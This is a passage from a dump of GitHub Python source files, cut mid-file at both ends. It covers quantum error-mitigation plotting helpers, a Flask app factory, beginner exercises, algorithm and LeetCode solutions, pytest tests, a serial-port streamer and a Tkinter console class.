[qubit_number],\n            [0],\n            29,\n            nlsp_list=[1, 2, 3],\n            N=10,\n            Nts=training_set,\n            max_copies=6,\n            tags=tags,\n            density_matrices=False,\n            shots=budget_shots,\n            folders=folders,\n            train=True,\n            budgets=[0, 1],\n            train_use=100,\n        )\n\n        Q = Q.assign(description=\"3nlsp_full\")\n        Q.to_parquet(f\"./MaxCut_runs/full_data_MC{qubit_number}.pq\")\n    Q_filtered = (\n        filter_budget(\n            Q, [0, 10 ** 5, 10 ** 6, 10 ** 7, 10 ** 8, 10 ** 9, 10 ** 10], 100\n        )\n        .drop([\"shots\"], axis=1)\n        .query(\"abs_error>0\")\n    )\n\n    ###\n    Q_filtered.loc[Q_filtered[\"budget\"] == 0, \"budget\"] = 10 ** 12\n    ### Only done for plotting purposes, so that infinity is at the end of the plot rather than the start\n    return Q_filtered\n\n\ndef figure_5(df, statistic_to_plot=\"mean\"):\n    \"\"\"Plots figure five, which is the performance of the techniques over budget. This is extended in the sense that it returns\n    all qubit results in a panel.\"\"\"\n    zero_copy_methods = df.query(\n        'abs_error > 0  & copies == 1 & nlsp==1 & description == \"3nlsp_full\" & res_type==\"abs_error\" & ( type == \"ZNE\" | type == \"vnCDR\")'\n    )\n    noisy = df.query(\n        'abs_error > 0  & copies == 1 & nlsp==1 & description == \"3nlsp_full\" & res_type==\"abs_error\" & ( type==\"VD\")'\n    )\n    few_copy_methods = df.query(\n        'abs_error >  0  & nlsp==1 & copies==2 & description == \"3nlsp_full\" & res_type==\"abs_error\" & ( type==\"VD\")'\n    )\n    many_copy_methods = df.query(\n        'abs_error > 0  &nlsp==1  & copies==4 & description == \"3nlsp_full\" & res_type==\"abs_error\" & ( type==\"UNITED\")'\n    )\n    noisy[\"type\"] = \"noisy\"\n    plot_df = pd.concat(\n        [noisy, zero_copy_methods, few_copy_methods, many_copy_methods],\n        axis=0,\n        ignore_index=True,\n    )\n    fig = sns.relplot(\n        data=plot_df.reset_index(),\n        kind=\"line\",\n        x=\"budget\",\n        y=\"abs_error\",\n        hue=\"type\",\n        col=\"Qubits\",\n        col_wrap=2,\n        estimator=statistic_to_plot,\n        markers=True,\n        ci=None,\n    )\n    fig.set(yscale=\"log\", xscale=\"log\")\n    fig.set_ylabels(statistic_to_plot + \" of absolute error\")\n    ax = fig.axes[0]\n    xticks = ax.get_xticks().tolist()\n    for i in range(len(xticks) - 1):\n        xticks[i] = rf\"$10^{{{i+3}}}$\"\n    xticks[-3] = r\"$\\infty$\"\n    xticks[-4] = r\"$\\cdots$\"\n    ax.set_xticklabels(xticks)\n    return fig\n\n\ndef figure_4(maxcut_df, statistic_to_plot=\"mean\", like_paper=True):\n    \"\"\"\"Plot figure 5 from the paper, which is the absoulte error over qubits at different budgets.\"\"\"\n    if like_paper:\n        df = maxcut_df.query(\"budget>0&budget<10**11&budget!=10**9&budget!=10**7\")\n    else:  # Basically will show all computed budgets\n        df = maxcut_df.query(\"budget>0&budget<10**11\")\n    zero_copy_methods = df.query(\n        'abs_error > 0  & copies == 1 & nlsp==1 & description == \"3nlsp_full\" & res_type==\"abs_error\" & ( type == \"ZNE\" | type == \"vnCDR\")'\n    )\n    noisy = df.query(\n        'abs_error > 0  & copies == 1 & nlsp==1 & description == \"3nlsp_full\" & res_type==\"abs_error\" & ( type==\"VD\")'\n    )\n    few_copy_methods = df.query(\n        'abs_error >  0  & nlsp==1 & copies==2 & description == \"3nlsp_full\" & res_type==\"abs_error\" & ( type==\"VD\")'\n    )\n    many_copy_methods = df.query(\n        'abs_error > 0  &nlsp==1  & copies==4& description == \"3nlsp_full\" & res_type==\"abs_error\" & ( type==\"UNITED\")'\n    )\n    noisy[\"type\"] = \"noisy\"\n    plot_df = pd.concat(\n        [noisy, zero_copy_methods, few_copy_methods, many_copy_methods],\n        axis=0,\n        ignore_index=True,\n    )\n    fig = sns.relplot(\n        data=plot_df.reset_index(),\n        kind=\"line\",\n        x=\"Qubits\",\n        col=\"budget\",\n        col_wrap=2,\n        y=\"abs_error\",\n        hue=\"type\",\n        estimator=statistic_to_plot,\n        markers=True,\n        ci=None,\n    )\n    fig.set_ylabels(statistic_to_plot + \" of absolute error\")\n    fig.set(yscale=\"log\")\n    return fig\n\n\ndef load_all_data():\n    if Path(\"./MaxCut_runs/filtered_df.pq\").is_file():\n        maxcut_df = pd.read_parquet(\"./MaxCut_runs/filtered_df.pq\")\n    else:\n        results = {qubit: load_max_cut_data(qubit) for qubit in [4, 6, 8, 10]}\n        maxcut_df = pd.concat(results.values())\n        maxcut_df = clean_data(maxcut_df)\n        maxcut_df.to_parquet(\"./MaxCut_runs/filtered_df.pq\")\n    return maxcut_df\n\n\ndef load_unfiltered_data():\n    dfs = []\n    for i in [4, 6, 8, 10]:\n        dfs.append(pd.read_parquet(f\"./MaxCut_runs/full_data_MC{i}.pq\"))\n    return pd.concat(dfs).reset_index()\n\n\ndef load_raw_maxcut_data():\n    \"\"\"Returns a dictionary of the coi data and training data with indices 'coi' and 'train'.\"\"\"\n    import os\n\n    def quick_load(fi, dir_path):\n        res = []\n        files = []\n        for file in os.listdir(dir_path):\n            if file.endswith(\".pq\") and file.startswith(f\"pandas_{fi}\"):\n                res.append(\n                    pd.read_parquet(dir_path + file).assign(file=file).assign(data=fi)\n                )\n                files.append(file)\n        res = pd.concat(res)\n        res = res.reset_index()\n        res = res.reset_index()\n        res = res.drop([\"result_type\"], axis=1)\n        res[\"exact\"] = pd.to_numeric(res[\"exact\"])\n        res[\"expectation\"] = pd.to_numeric(res[\"expectation\"])\n        res[\"exact_abs\"] = np.abs(res[\"exact\"])\n        return res\n\n    train = []\n    coi = []\n    for i in [4, 6, 8, 10]:\n        path = f\"./MaxCut_runs/Q{i}/\"\n        train.append(quick_load(\"train\", path))\n        coi.append(quick_load(\"COI\", path))\n    train = pd.concat(train).reset_index().drop(\"level_0\", axis=1)\n    coi = pd.concat(coi).reset_index().drop(\"level_0\", axis=1)\n    return {\"coi\": coi, \"train\": train}\n\n\ndef figure_7(df, budget=10 ** 10, statistic_to_plot=\"mean\"):\n    \"\"\"Plots figure 7 for any budget\"\"\"\n    df = df.query(f\"budget=={budget}\")\n    few_copy_methods = df.query(\n        'abs_error >  0  & nlsp==1  & description == \"3nlsp_full\" & res_type==\"abs_error\" & ( type==\"VD\")'\n    )\n    many_copy_methods = df.query(\n        'abs_error > 0  &nlsp==1  & description == \"3nlsp_full\" & res_type==\"abs_error\" & ( type==\"UNITED\")'\n    )\n    plot_df = pd.concat(\n        [few_copy_methods, many_copy_methods], axis=0, ignore_index=True,\n    )\n    fig = sns.relplot(\n        data=plot_df.reset_index(),\n        kind=\"line\",\n        x=\"copies\",\n        y=\"abs_error\",\n        hue=\"Qubits\",\n        style=\"type\",\n        estimator=statistic_to_plot,\n        ci=None,\n    )\n    fig.set(yscale=\"log\", title=f\"budget {budget}\")\n    fig.set_ylabels(statistic_to_plot + \" of absolute error\")\n    return fig\n\n\ndef figure_8(dataset):\n    \"\"\"Plots the disctibution of training data and circuit of interest for desired qubit\"\"\"\n    sns.displot(\n        kind=\"hist\",\n        data=dataset,\n        x=\"exact\",\n        col=\"qubits\",\n        col_wrap=2,\n        bins=25,\n        facet_kws=dict(sharey=True),\n    ).set(yscale=\"log\")\n","repo_name":"danielbultrini/UNITED_error_mitigation","sub_path":"python_helper_files/plotting_helper.py","file_name":"plotting_helper.py","file_ext":"py","file_size_in_byte":22149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17896022330","text":"\"\"\"Initialize Flask app.\"\"\"\n\nfrom pathlib import Path\n\nfrom flask import Flask\n\nimport capitulo.adapters.repository as repo\nfrom capitulo.adapters.memory_repository import MemoryRepository\nfrom capitulo.adapters import memory_repository, database_repository, repository_populate\nfrom capitulo.adapters.orm import metadata, map_model_to_tables\n\n# imports from SQLAlchemy\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker, clear_mappers\nfrom sqlalchemy.pool import NullPool\n\n\ndef create_app(test_config=None):\n    # Create the flask app object\n    app = Flask(__name__)\n\n    # Configure the app from configuration-file settings.\n    app.config.from_object('config.Config')\n    data_path = Path('capitulo') / 'adapters' / 'data'\n\n    if test_config is not None:\n        # Load test configuration, and override any configuration settings.\n        app.config.from_mapping(test_config)\n        data_path = app.config['TEST_DATA_PATH']\n\n    # Here the \"magic\" of our repository pattern happens. We can easily switch between in memory data and\n    # persistent database data storage for our application.\n\n    if app.config['REPOSITORY'] == 'memory':\n        # Create the MemoryRepository implementation for a memory-based repository\n        repo.repo_instance = memory_repository.MemoryRepository()\n        # fill the content of the repository from the provided csv files (has to be done every time we start app)\n        database_mode = False\n        repository_populate.populate(data_path, repo.repo_instance, database_mode)\n    elif app.config['REPOSITORY'] == 'database':\n        # Configure database\n        database_uri = app.config['SQLALCHEMY_DATABASE_URI']\n\n        # We create a comparatively simple SQLite database, which is based on a single file (see .env for URI)\n        database_echo = app.config['SQLALCHEMY_ECHO']\n        # Do not change the settings for connect_args and poolclass\n        database_engine = create_engine(database_uri, connect_args={\"check_same_thread\": False}, poolclass=NullPool,\n                                        echo=database_echo)\n\n        # Create the database session factory using sessionmaker (this has to be done once in a global manner)\n        session_factory = sessionmaker(autocommit=False, autoflush=True, bind=database_engine)\n        # Create the SQLAlchemy DatabaseRepository instance for an sqlite3-based repository\n        repo.repo_instance = database_repository.SqlAlchemyRepository(session_factory)\n\n        if app.config['TESTING'] == 'True' or len(database_engine.table_names()) == 0:\n            print(\"REPOPULATING DATABASE...\")\n            # For testing, or first-time use of the web application, reinitialise the database.\n            clear_mappers()\n            metadata.create_all(database_engine)  # Conditionally create database tables\n            for table in reversed(metadata.sorted_tables):  # Remove any data from the tables\n                database_engine.execute(table.delete())\n\n            # Generate mappings that map domain model classes to the database tables\n            map_model_to_tables()\n\n            database_mode = True\n            repository_populate.populate(data_path, repo.repo_instance, database_mode)\n            print(\"REPOPULATING DATABASE... FINISHED\")\n        else:\n            # Solely generate mappings that map domain model classes to the database tables\n            map_model_to_tables()\n\n    # Create the MemoryRepository implementation for a memory-based repository.\n    #repo.repo_instance = MemoryRepository()\n    # fill the content of the repository from the provided csv files\n    #populate(data_path, repo.repo_instance)\n\n    # Build the application\n    with app.app_context():\n        # Register blueprints\n        from .home import home\n        app.register_blueprint(home.home_blueprint)\n\n        from .about_us import about_us\n        app.register_blueprint(about_us.about_us_blueprint)\n\n        from .books import books\n        app.register_blueprint(books.books_blueprint)\n\n        from .authentication import authentication\n        app.register_blueprint(authentication.authentication_blueprint)\n\n        from .utilities import utilities\n        app.register_blueprint(utilities.utilities_blueprint)\n\n        from .reading_list import reading_list\n        app.register_blueprint(reading_list.reading_list_blueprint)\n\n        # Register a callback that makes sure that database sessions are associated with http requests\n        # We reset the session inside the database repository before a new flask request is generated\n        @app.before_request\n        def before_flask_http_request_function():\n            if isinstance(repo.repo_instance, database_repository.SqlAlchemyRepository):\n                repo.repo_instance.reset_session()\n\n        # Register a tear-down method that will be called after each request has been processed\n        @app.teardown_appcontext\n        def shutdown_session(exception=None):\n            if isinstance(repo.repo_instance, database_repository.SqlAlchemyRepository):\n                repo.repo_instance.close_session()\n\n    return app\n","repo_name":"kana140/library-web-application","sub_path":"capitulo/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5112,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"16863447061","text":"number1 = float(input(\"Enter the first operand: \"))\nnumber2 = float(input(\"Enter the second operand: \"))\ncalculation_operation = input(\"Enter a operation('+','-','%','x','/','^') \")\n\nif calculation_operation == \"+\":\n    print(number1+number2)\nelif calculation_operation == \"-\":\n    print(number1-number2)\nelif calculation_operation == \"%\":\n    print(number1%number2)\nelif calculation_operation == \"x\":\n    print(number1*number2)\nelif calculation_operation == \"/\":\n    print(number1/number2)\nelif calculation_operation == \"^\":\n    print(number1**number2)\nelse:\n    print(\"I don't understand the command\")\n\n\n#quiz\nans = input(\"Are you ready to start the the quiz(yes/no)\").lower()\nscore = 0\ntotal_q = 5\n\nif ans == 'yes':\n\n    q1 = input(\"What is the capital of India :\")\n    print(q1)\n    if q1.lower() == 'new delhi':\n        score += 1\n        print(\"Correct\")\n    else:\n        print(\"Incorrect\")\n\n    question2 = input(\"What is capital of pakistan:\")\n    print(question2)\n    if question2 .lower() == 'islamabad':\n        score += 1\n        print(\"Correct\")\n    else:\n        print(\"Incorrect\")\n\n    q3 = input(\"What is the capital of sri lanka:\")\n    print(q3)\n    if q3.lower() == 'colombo':\n        score += 1\n        print(\"Correct\")\n    else:\n        print(\"Incorrect\")\n\n    q4 = input(\"what is the capital of nepal :\")\n    print(q4)\n    if q4.lower() == 'kathamandu':\n        score += 1\n        print(\"Correct\")\n    else:\n        print(\"Incorrect\")\n\n    q5 = input(\"what is the capital of bhutan :\")\n    print(q5)\n    if q5.lower() == 'thimpu':\n        score += 1\n        print(\"Correct\")\n    else:\n        print(\"Incorrect\")\n\n\nprint(\"your score is\", score)\n\npercent = score / total_q * 100\n\nprint(percent)\n\n#car game\n\ncommand = \"\"\nstarted = False\nwhile command != \"quit\":\n    command = input(\"> \").lower()\n    if command == \"start\":\n        if started:\n            print(\"car is already started\")\n        else:\n            started = True\n            print(\"car started\")\n    elif command == \"stop\":\n        if not started:\n            print(\"car is already stopped\")\n        else:\n            started =False\n            print(\"car stoped\")\n    elif command == \"help\":\n        print('''start = to start the car\n                 stop = to stop the car\n                 quit = to quit the game''')\n    elif command == \"quit\":\n        print(\"game ended\")\n    else:\n        print(\"I dont't understand the command\")\n\n#for loops\n\nfor item in range[11]:\n    print(item)\n\n\n\n\n","repo_name":"Subhasmita981/Notepad-in-tkinter","sub_path":"notepad.py","file_name":"notepad.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"34241379685","text":"# Task\n'''\nYour local library needs your help! Given the expected and actual return dates for a library book, create a program that calculates the fine (if any). The fee structure is as follows:\n\n>>> If the book is returned on or before the expected return date, no fine will be charged (i.e. fine=0) .\n>>> If the book is returned after the expected return day but still within the same calendar month and year as the\n    expected return date, fine= 15 Hackos x number of days late.\n>>> If the book is returned after the expected return month but still within the same calendar year as the expected\n    return date, the fine= 500Hackos x number of days late.\n>>> If the book is returned after the calendar year in which it was expected, there is a fixed fine of 10000 Hackos\n'''\n\n# Sample Input\n'''\nSTDIN       Function\n-----       --------\n9 6 2015    day = 9, month = 6, year = 2015 (date returned)\n6 6 2015    day = 6, month = 6, year = 2015 (date due)\n'''\n\n# Sample Output\n'''\n45\n'''\n\n# Explanation\n'''\nGiven the following return dates:\nReturned: D1=9, M1=6, Y1=2015\nDue: D2=6, M2=6, Y2=2015\n\nBecause Y2==Y1, it is less than a year late.\nBecause M2==M1, it is less than a month late.\nBecause D2<D1, it was returned late (but still within the same month and year).\n\nPer the library's fee structure, we know that our fine will be 15 Hackos x (# Days Late). We then print the result of 15 * (D1 - D2) = 15*(9-6) = 45 as our output.\n'''\n\n# Code\n# Enter your code here. Read input from STDIN.\n# Print output to STDOUT\nreturn_date = list(map(int,input().split(' ')))\nexpected_date = list(map(int,input().split(' ')))\n\nfine = 0\n\nif return_date[2] > expected_date[2]:\n    fine = 10000\n    \nelif return_date[2] == expected_date[2]:\n\n    if return_date[1] > expected_date[1]:\n        fine = (return_date[1] - expected_date[1])*500\n    \n    elif return_date[1] == expected_date[1]:\n        if return_date[0] > expected_date[0]:\n            fine = (return_date[0] - expected_date[0])*15\n    \nprint(fine)","repo_name":"SoleCode0/30-Days-Of-Code","sub_path":"python/day26.py","file_name":"day26.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"73721107343","text":"import numpy as np\n\n# Rounding for each step to help normalize out floating point errors\nDECIMAL_PLACES = 3\n\n\ndef to_prey_at_site(arr):\n    arr[arr != -1] = 1\n    arr[arr == -1] = 0\n    return arr\n\n\ndef ipa(initial_proportionality, verbose=False):\n    \"\"\"\n    Implementation of the Iterative Preference Averaging (IPA) algorithm\n    specified by https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0268520\n\n    Author:\n        Chase McManning <cmcmanning@gmail.com>\n\n    Args:\n        initial_proportionality (pd.DataFrame): Matrix of estimated within-site preferences\n            for available prey. If a particular prey j is not present at site i, use `mat[i, j] = -1`\n    \"\"\"\n\n    total_sites, total_prey = initial_proportionality.shape\n\n    estimated_preference = np.zeros(\n        [total_sites, total_prey]\n    )\n\n    prey_at_site = to_prey_at_site(initial_proportionality.copy())\n\n    # def proportionality(prey, site):\n    #     denom = 0\n    #     for j in enumerate(prey):\n    #         denom += eaten[j][site] / density[j][site]\n\n    #     return (eaten[j][site] / density[j][site]) / denom\n\n    # We're using a static dataset that is precomputed.\n    # Otherwise, this comes from real data for the initial.\n    # def initialize_preferences():\n    #     for i in range(total_sites):\n    #         for j in range(total_prey):\n    #             if is_prey_in_site(prey, site):\n    #                 estimated_preference[prey][site] = proportionality(prey, site)\n    #             else:\n    #                 estimated_preference[prey][site] = '-'\n\n    if verbose:\n        print('\\nInitial proportionality')\n        print(initial_proportionality)\n        print('\\nRow sums')\n        print(initial_proportionality.sum(axis=1))\n        print('\\nPrey at site matrix')\n        print(prey_at_site)\n\n    prev_overall_preference = np.array([])\n\n    # Compute initial overall preferences\n    e = 1.0 / total_prey\n    overall_preference = np.around(\n        np.array([e] * total_prey),\n        DECIMAL_PLACES\n    )\n\n    if verbose:\n        print('\\nOverall preference p_1')\n        print(overall_preference)\n        print('\\nOverall preference row sum')\n        print(overall_preference.sum())\n\n    def scaling_constant(site):\n        # Compute c_i for site i in current iteration k\n        # Eq(3)\n        sum = 0\n        for j in range(total_prey):\n            # M_j - prey *not* in site\n            if prey_at_site[site][j] == 0:\n                sum += overall_preference[j]\n\n        return 1 - sum\n\n    def next_mean_estimate(prey):\n        # Compute next overall estimate\n        # based on the means of the columns of the matrix\n        # Returns: p_•j(k+1)\n        sum = 0\n\n        # This is the mean of the estimated preference column for the given prey\n        for i in range(total_sites):\n            sum += estimated_preference[i, prey]\n\n        return sum / float(total_sites)\n\n    def iteration(k):\n        nonlocal prev_overall_preference, overall_preference, estimated_preference\n\n        prev_overall_preference = overall_preference.copy()\n        estimated_preference = np.around(\n            initial_proportionality, DECIMAL_PLACES)\n\n        # Step 3\n        c = np.around(\n            [scaling_constant(i) for i in range(total_sites)],\n            DECIMAL_PLACES\n        )\n\n        # Steps 3 & 4\n        for i in range(total_sites):\n            for j in range(total_prey):\n                # Step 3: Rescale by multiplying the constant\n                if estimated_preference[i, j] != -1:\n                    estimated_preference[i, j] *= c[i]\n                else:\n                    # Replace missing value with overall preference\n                    estimated_preference[i, j] = overall_preference[j]\n\n        estimated_preference = np.around(estimated_preference, DECIMAL_PLACES)\n\n        # Step 5 - estimate new overall preferences\n        overall_preference = np.around(\n            [next_mean_estimate(j) for j in range(total_prey)],\n            DECIMAL_PLACES\n        )\n\n        if verbose:\n            print(f'\\nScaling constant for k={k}')\n            print(c)\n            print(f'\\nEstimated Preference P_{k}')\n            print(estimated_preference)\n            print('\\nRow sums')\n            print(estimated_preference.sum(axis=1))\n            print(f'\\nOverall Preference p_{k+1}')\n            print(overall_preference)\n            print('\\nOverall preference row sum')\n            print(overall_preference.sum())\n\n    k = 1\n    while True:\n        iteration(k)\n\n        diff = abs(prev_overall_preference - overall_preference)\n\n        if verbose:\n            print(f'\\nDifference between overall preferences')\n            print(diff)\n\n        # If we've hit all zeros, stop iteration\n        if not np.any(diff > 0.001):\n            break\n\n        k += 1\n\n    if verbose:\n        print(f'\\nFinal Preference found at k={k}')\n\n    return estimated_preference, overall_preference\n\n\n# Test case - this is the same demonstrative test case as\n# the \"A method to predict overall food preferences\" paper.\nif __name__ == '__main__':\n    # Going to do a mock initial preference\n    # that's normalized to sum each row to 1\n    # (this come from the paper). I can build\n    # one from our dataset later.\n    sample_initial_preferences = np.array([\n        [0.27, 0.28, 0.36, 0.09, -1, -1],\n        [0.29, 0.12, -1, 0.06, 0.29, 0.24],\n        [0.20, 0.10, 0.20, 0.07, 0.23, 0.20],\n        [-1, 0.20, 0.31, 0.06, 0.12, 0.31]\n    ])\n\n    print(ipa(sample_initial_preferences, verbose=True))\n\n    # Expectation:\n    #  Final Preference found at k=4\n    # [[0.163 0.169 0.217 0.054 0.184 0.212]\n    #  [0.226 0.093 0.222 0.047 0.226 0.187]\n    #  [0.2   0.1   0.2   0.07  0.23  0.2  ]\n    #  [0.196 0.161 0.249 0.048 0.096 0.249]]\n","repo_name":"McManning/host-preference-analysis","sub_path":"ipa.py","file_name":"ipa.py","file_ext":"py","file_size_in_byte":5765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24424302689","text":"#Kimhaeun\n#22100224\n#GuessNumbers\n\nimport random\n\n\ndef check_list(listname, input_num):\n    while input_num in listname:\n        print(\"Duplicate number\")\n        input_num=int(input(\"Input a number:\"))\n    return input_num\n\nc_numList=random.sample(range(0,10),4)\n\n\ntrial=0\nu_numList=[]\nwhile c_numList!=u_numList:\n    u_numList=[]\n    for i in range(4):\n        n=int(input(\"Input a number:\"))\n        while n not in range(10):\n            print(\"Please input a number from 0 to 9\")\n            n=int(input(\"Input a number:\"))\n        n=check_list(u_numList,n)\n        u_numList.append(n)\n        \n    strike=0\n    ball=0\n\n    for i in range(4):\n        for j in range(4):\n            if c_numList[i]==u_numList[j]:\n                if i==j:\n                    strike+=1\n                else:\n                    ball+=1\n    print(strike,\"strike,\",ball,\"ball\")\n    trial+=1\n\nprint(\"You win! on\",trial,\"try...\")\n\n\n","repo_name":"qpzm/onsoo","sub_path":"3주차/성온이 화이팅/코로나 이전/과제_퀴즈_수업내코딩/과제_퀴즈_수업내코딩/HW5_22100224_Kimhaeun/3.GuessNumbers.py","file_name":"3.GuessNumbers.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27114270409","text":"import pytest\nfrom src.generators.player_localization import PlayerLocalization\nfrom src.enums.user_enums import Statuses\n\nimport tables\n\n\n@pytest.mark.parametrize('status', [\n    # \"ACTIVE\",\n    # \"BANNED\",\n    # \"DELETED\",\n    # \"INACTIVE\"\n    *Statuses.list()\n\n])\ndef test_something(status, get_player_generator):\n    print(get_player_generator.set_status(status).build())\n\n\n@pytest.mark.parametrize('balance_value', [\n    '100',\n    '0',\n    '-10',\n    'asdd'\n\n])\ndef test_something_balance(balance_value, get_player_generator):\n    print(get_player_generator.set_balance(balance_value).build())\n\n\n@pytest.mark.parametrize('delete_key', [\n    'account_status',\n    'balance',\n    'localize',\n    'avatar'\n\n])\ndef test_something_delete(delete_key, get_player_generator):\n    object_to_send = get_player_generator.build()\n    del object_to_send[delete_key]\n    print(object_to_send)\n\n\ndef test_something_excange_localize(get_player_generator):\n    object_to_send = get_player_generator.update_inner_value(\n        'localize', PlayerLocalization('fr_FR').set_number(15).build()\n    ).build()\n    print(object_to_send)\n\n\ndef test_something_excange_localize_deep_into(get_player_generator):\n    object_to_send = get_player_generator.update_inner_value(\n        ['localize', 'state', 'country'],\n        PlayerLocalization('fr_FR').set_number(15).build()\n    ).build()\n    print(object_to_send)\n\n\n@pytest.mark.parametrize('localizations, loc', [\n    ('fr', 'fr_FR')\n])\ndef test_something_excange_localizations(get_player_generator, localizations, loc):\n    object_to_send = get_player_generator.update_inner_value(\n        ['localize', localizations],\n        PlayerLocalization(loc).set_number(15).build()\n    ).build()\n    print(object_to_send)\n\n\ndef test_get_data_fields(get_db_session):\n    data = get_db_session.query(tables.Films).first()\n    print(data.title)\n\n\ndef test_try_to_delete_something(get_delete_method, get_db_session):\n    get_delete_method(get_db_session, tables.ItemType, (tables.ItemType.item_id == 3))\n\n\ndef test_try_to_add_testdata(get_db_session, get_add_method):\n    new_item_type = {'item_type': 'new_type'}\n    item = tables.ItemType(**new_item_type)\n    get_add_method(get_db_session, item)\n    print(item.item_id)\n\n\ndef test_try_to_add_testdata2(get_db_session, get_add_method, get_item_type_generator):\n    item = tables.ItemType(**get_item_type_generator.build())\n    get_add_method(get_db_session, item)\n    print(item.item_id)\n\ndef test_finally(generate_item_type):\n    print(generate_item_type.item_id)\n","repo_name":"vseop/pytests","sub_path":"tests/something/test_something.py","file_name":"test_something.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"37178421212","text":"class Solution(object):\n    def search(self, nums, target):\n        low, high = 0, len(nums)-1\n        while low < high:\n            mid = (low+high)//2\n            if nums[mid] == target:\n                return True\n            if nums[mid] > nums[high]:\n                if nums[mid]>target and nums[low]<=target:\n                    high = mid\n                else:\n                    low = mid + 1\n            elif nums[mid] < nums[high]:\n                if nums[mid]<target and nums[high] >= target:\n                    low = mid+1\n                else:\n                    high = mid\n            else:\n                high -= 1\n        return low < len(nums) and nums[low] == target","repo_name":"LucienXian/LeetCode","sub_path":"Leetcode81.py","file_name":"Leetcode81.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38315142521","text":"from collections import deque\n\ndef bfs(graph, groups, visited, start_node):\n    q = deque([(start_node, 0)])\n\n    while len(q) > 0:\n        src_node, step = q.pop() \n        if src_node not in visited:\n            visited.add(src_node)\n            groups[step % 2].add(src_node)\n\n            for dst_node in graph[src_node]:\n                q.appendleft((dst_node, step + 1))\n\nclass Solution:\n    def isBipartite(self, graph: List[List[int]]) -> bool:\n        if len(graph) == 0: return True\n        groups = [set(), set()]\n        visited = set()\n\n        for node in range(len(graph)):\n            bfs(graph, groups, visited, node)\n\n        for group in groups:\n            for src_node in group:\n                for dst_node in graph[src_node]:\n                    if dst_node in group:\n                        return False\n        return True\n\n","repo_name":"an1lam/leetcode","sub_path":"leetcode/785_is_graph_bipartite.py","file_name":"785_is_graph_bipartite.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72410227023","text":"from io import StringIO\nimport logging\nimport numpy as np\nimport serial\nfrom sampling.sampling import Streamer\n\nlogger = logging.getLogger(__name__)\n\n\nclass SerialStreamer(Streamer):\n    # noinspection SpellCheckingInspection\n    def __init__(\n        self,\n        sampling_rate,\n        port=None,\n        baudrate=115200,\n        bytesize=serial.EIGHTBITS,\n        parity=serial.PARITY_NONE,\n        stopbits=serial.STOPBITS_ONE,\n        timeout=0.2,\n        xonxoff=False,\n        rtscts=False,\n        write_timeout=None,\n        dsrdtr=False,\n        inter_byte_timeout=None,\n        genfromtxt_kws=None,\n    ):\n        self._serial = serial.Serial(\n            port,\n            baudrate,\n            bytesize,\n            parity,\n            stopbits,\n            timeout,\n            xonxoff,\n            rtscts,\n            write_timeout,\n            dsrdtr,\n            inter_byte_timeout,\n        )\n        self._sampling_rate = sampling_rate\n        self.__genfromtxt_kws = {} if genfromtxt_kws is None else genfromtxt_kws\n        self.__paused = True\n        self.start()\n        self._remain = \"\"\n\n    def read(self):\n        if not self.__paused:\n            n = self._serial.in_waiting\n            if not n > 0:\n                return self._empty\n            # logger.debug(f\"serial {self._serial.port} has {n} bytes in waiting\")\n            lines = self._serial.read(n).decode(\"ascii\")\n            lines = self._remain + lines\n            if \"\\n\" not in lines:\n                self._remain = lines\n                return self._empty\n            pos2 = lines.rfind(\"\\n\")\n            # noinspection PyTypeChecker\n            out = np.genfromtxt(StringIO(lines[:pos2]), **self.__genfromtxt_kws)\n            out = np.atleast_2d(out).T\n            self._remain = lines[pos2 + 1 :]\n            return out\n        else:\n            return self._empty\n\n    def start(self):\n        self._serial.reset_output_buffer()\n        self._serial.reset_input_buffer()\n        for _ in range(5):\n            # discards a few lines to make sure the buffer does not contain partial lines\n            self._serial.readline()\n        self.__paused = False\n        logger.info(f\"Started Reading from serial port {self._serial}\")\n\n    def stop(self):\n        self.__paused = True\n","repo_name":"MarinManuel/PhysioMonitor","sub_path":"sampling/serialstreamer.py","file_name":"serialstreamer.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"71232187022","text":"\"The Console Layout\"\r\nimport re\r\n\r\nimport tkinter as tk\r\n\r\nfrom layouts.layout_base import Fore, Output, get_rid_of_coloring\r\n\r\ndef _add_color(message):\r\n    compile_header_regex = re.compile(\r\n        r\"Compiling fileset \\\".*\\\" in \\\".*\\\" for \\\".*\\\"\"\r\n    )\r\n    no_color_stripped_message = get_rid_of_coloring(message).strip()\r\n    if no_color_stripped_message.startswith(\"###\"):\r\n        message = message.replace(Fore.RESET, '')\r\n        message = f\"{Fore.ORANGE}{message}{Fore.RESET}\"\r\n    elif no_color_stripped_message.startswith(\"compiling\"):\r\n        message = message.replace(Fore.RESET, '')\r\n        message = f\"{Fore.GREEN}{message}{Fore.RESET}\"\r\n    elif compile_header_regex.match(no_color_stripped_message):\r\n        message = message.replace(Fore.RESET, '')\r\n        message = f\"{Fore.BOLD_WHITE}{message}{Fore.RESET}\"\r\n    return message\r\n\r\nclass ConsoleLayout:\r\n    \"The Console Frame\"\r\n\r\n    def __init__(self, context):\r\n        self.text_widget = None\r\n        self._output = None\r\n        self._context = context\r\n\r\n    def clear_console(self):\r\n        \"clears the console\"\r\n        self.text_widget.config(state=tk.NORMAL)\r\n        self.text_widget.delete('1.0', tk.END)\r\n        